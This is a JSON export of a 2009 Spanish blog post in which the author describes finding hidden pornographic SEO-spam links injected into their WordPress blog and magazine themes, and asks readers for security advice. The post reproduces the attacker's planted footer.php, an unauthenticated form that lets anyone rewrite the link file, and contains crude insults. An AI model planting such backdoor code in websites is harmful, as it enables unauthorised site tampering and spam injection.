{"id":4138,"date":"2009-08-24T15:12:57","date_gmt":"2009-08-24T14:12:57","guid":{"rendered":"http:\/\/poesiamas.net\/blog\/?p=4138"},"modified":"2009-08-24T15:12:57","modified_gmt":"2009-08-24T14:12:57","slug":"los-piratas-romanticos-piratean-tu-tema","status":"publish","type":"post","link":"https:\/\/escribocreativo.com\/blog\/2009\/08\/24\/los-piratas-romanticos-piratean-tu-tema\/","title":{"rendered":"Los piratas rom\u00e1nticos: \u00a1piratean tu tema!"},"content":{"rendered":"

\"captain-jack-sparrow\"<\/a>He sufrido en mis carnes virtuales un pirateo en toda regla. Cuando Google me avis\u00f3 de que ten\u00eda enlaces ocultos en mi blog y mi revista, cre\u00ed que podr\u00eda ser spam que no hab\u00eda eliminado en la portada.<\/p>\n

Pero no. En mi blog, llegaban datos de que las palabras claves m\u00e1s buscadas eran incluso dominios con pornograf\u00eda. A m\u00ed me extra\u00f1aba esa tendencia de las \u00faltimas semanas. Pero como tengo una secci\u00f3n de sexo y amor, pues tampoco le d\u00ed m\u00e1s importancia.<\/p>\n

Pero en esto que voy a uno de esos sitios que enlazan mi blog -\u00bfc\u00f3mo es que aparece listado en un sitio porno, con caracteres chinos,\u00a0 un art\u00edculo sobre literatura?-, y veo, por sorpresa, que las palabras claves asociadas son las mismas que me hab\u00eda dicho Google en su email. \u00bfC\u00f3mo es eso? \u00a1No he solucionado el problema! X( X( X(<\/p>\n

<\/p>\n

Tan sencillo como: voy a Firefox -aunque mantengo un idilio oculto con Chrome a sus espaldas-, voy a mi blog y le doy la opci\u00f3n de “Ver c\u00f3digo fuente de la p\u00e1gina”. \u00a1Qu\u00e9! Ah\u00ed est\u00e1n, unos cincuenta o m\u00e1s enlaces, al final de la p\u00e1gina. Lo simp\u00e1tico es que le doy a buscarlas, y Firefox me sit\u00faa d\u00f3nde deben estar, \u00a1pero no se ven! Trato de marcar la zona con el rat\u00f3n, \u00a1y tampoco!<\/p>\n

Pero, \u00bfc\u00f3mo es esto? \u00bfUn plugin? Los desactivo todos. No, siguen ah\u00ed los enlaces. Voy al editor de temas. Y, justo al final del c\u00f3digo del pi\u00e9 de p\u00e1gina, una llamada en PHP extra\u00f1a, haciendo menci\u00f3n a un fichero config.ini. \u00bfConfig.ini alojado en otro directorio fuera de mi instalaci\u00f3n de WordPress? \u00bfSer\u00e1 un plugin?<\/p>\n

Voy al tema original para verificar que esa l\u00ednea de c\u00f3digo pertenece al tema. Pero no. La elimino. \u00a1Los enlaces ocultos desparecen!<\/p>\n

Te he pillao, cabronazo. \ud83d\ude00 \ud83d\ude00<\/p>\n

Dos miedos: uno, \u00bfconocen mis claves de acceso? \u00bfC\u00f3mo? Y dos: \u00bfy de mi base de datos? X( X(<\/p>\n

Lo primero que hago es cambiarlas todas, inclu\u00eddo el FTP. Reviso la base de datos, y no encuentro nuevas. Voy a mi revista literaria, Poes\u00eda+Letras<\/a>.\u00a0 \u00a1Tambi\u00e9n me han puesto el c\u00f3digo aqu\u00ed! Mi tema, de nuevo pirateado con esa referencia al config.ini. Lo borro.No salen ya los enlaces.<\/p>\n

Reviso el tema original de mi revista. Hay dos archivos que no deb\u00edan estar alojados en mi directorio. El config.ini y el footer.php. Config.ini es un archivo de texto con cincuenta enlaces, aproximadamente, porno. Esto pone el footer.php:<\/p>\n

\n

<?php
\nif(isset($_POST[‘kart’])){
\n$kart=stripslashes($_POST[‘kart’]);
\n$fp=fopen(“config.ini”,”w”);
\nfwrite($fp,$kart);
\nfclose($fp);
\n}
\n$old=file_get_contents(“config.ini”);
\necho’
\n<form name=”body.php” method=”post” action=”footer.php”>
\n<TEXTAREA NAME=”kart” ROWS=”10″ COLS=”100″>’.$old.'<\/TEXTAREA><br>
\n<input type=”submit” value=”submit”>
\n<\/form>
\n‘;
\n?><\/span><\/p><\/blockquote>\n

    \n
  1. As\u00ed que el tipo entra en mi directorio con mi clave por FTP.<\/li>\n
  2. En vez de piratearme el sitio por todas partes y borrarme cosas o lo que sea, introduce un archivo con una lista de sitios porno.<\/li>\n
  3. Modifica mis temas de la revista y de mi blog. \u00a1Es un artista del c\u00f3digo! Seguro que es un puto pajero con una vida sexual de mierda. X( <\/strong><\/li>\n
  4. Introduce el texto oculto al final de cada tema haciendo una llamada al archivo Config.ini, que lee la lista de un tir\u00f3n en cada art\u00edculo de mi blog<\/strong>.<\/li>\n
  5. \u00bfEntrar\u00e1 de vez en cuando a introducir m\u00e1s enlaces o revisar su pirateo? Seguro. Es un cachondo del c\u00f3digo. No folla porque es impotente, <\/strong>pero le pone el c\u00f3digo.<\/li>\n<\/ol>\n

    Un rom\u00e1ntico, el chaval. Me lo tengo que tomar con -mal- humor porque compito con alguien que estar\u00e1 acostumbrado a estas cosas y, lo peor peor que puede pasar es que tenga que cerrar el blog y la revisa. Pues abro otras -tras la depresi\u00f3n post-parto-. \ud83d\ude00<\/p>\n

    As\u00ed que cuidadito con tu tema si tienes un alquiler de espacio web y no un sitio en Blogger o WordPress gratuito. Porque se dedican a promocionar esos sitios que listan en secreto. Y luego, Google te dice: te hemos eliminado de nuestro directorio por usar palabras clave porno para promocionar tu sitio y hacerlo subir en el r\u00e1nking. \u00bfYo? De qu\u00e9 hablas. Pues s\u00ed, eso exactamente.<\/p>\n

    Es un pirateo de m\u00e1rketing: no buscan, creo, el placer de la batalla contra un sistema de seguridad. Buscan una rentabilidad econ\u00f3mica: situar determinados sitios entre los m\u00e1s visitados -\u00bfser\u00e1 una empresa?-. Ya he encontrado m\u00e1s<\/a> que han sufrido esta t\u00e9cnica<\/a> tan divertida.<\/p>\n

    Todav\u00eda me r\u00edo. X( X( X(<\/p>\n

    \u00bfAlguna sugerencia de ayuda sobre el tema? \u00bfAlgo que se me haya pasado por alto? \u00bfEstoy confundido y me he saltado alg\u00fan paso obvio, aparte de cambiar todas mis contrase\u00f1as y solicitar a mi alquiler que me cancele el acceso por FTP? Por favor, si crees que es as\u00ed, y puedes echarme una ayudita, te lo agradecer\u00e9 profundamente<\/strong>.<\/p>\n

    Mis conocimientos de seguridad son seguir las normas b\u00e1sicas que Joomla y WordPress me sugieren. Las he revisado y cumplo casi todas, salvo algunas que dicen que pueden crear problemas t\u00e9cnicos secundarios que no me siento capaz de resolver -como cambiar de lugar archivos config o directorios con contrase\u00f1a-. Y la empresa que me alquila el espacio tiene un servicio t\u00e9cnico… :emotion: bueno, sin comentarios. X( X(<\/p>\n

    \ud83d\ude00<\/p>\n

    [email_link]\n","protected":false},"excerpt":{"rendered":"

    He sufrido en mis carnes virtuales un pirateo en toda regla. Cuando Google me avis\u00f3 de que ten\u00eda enlaces ocultos en mi blog y mi revista, cre\u00ed que podr\u00eda ser spam que no hab\u00eda eliminado en la portada. Pero no. En mi blog, llegaban datos de que las palabras claves m\u00e1s buscadas eran incluso dominios con pornograf\u00eda. A m\u00ed me[…]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[368,622,696,1503,2598,3212],"class_list":["post-4138","post","type-post","status-publish","format-standard","hentry","category-web-20","tag-blogs","tag-clave","tag-config","tag-hack","tag-pirateo","tag-tema"],"_links":{"self":[{"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/posts\/4138","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/comments?post=4138"}],"version-history":[{"count":0,"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/posts\/4138\/revisions"}],"wp:attachment":[{"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/media?parent=4138"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/categories?post=4138"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/escribocreativo.com\/blog\/wp-json\/wp\/v2\/tags?post=4138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}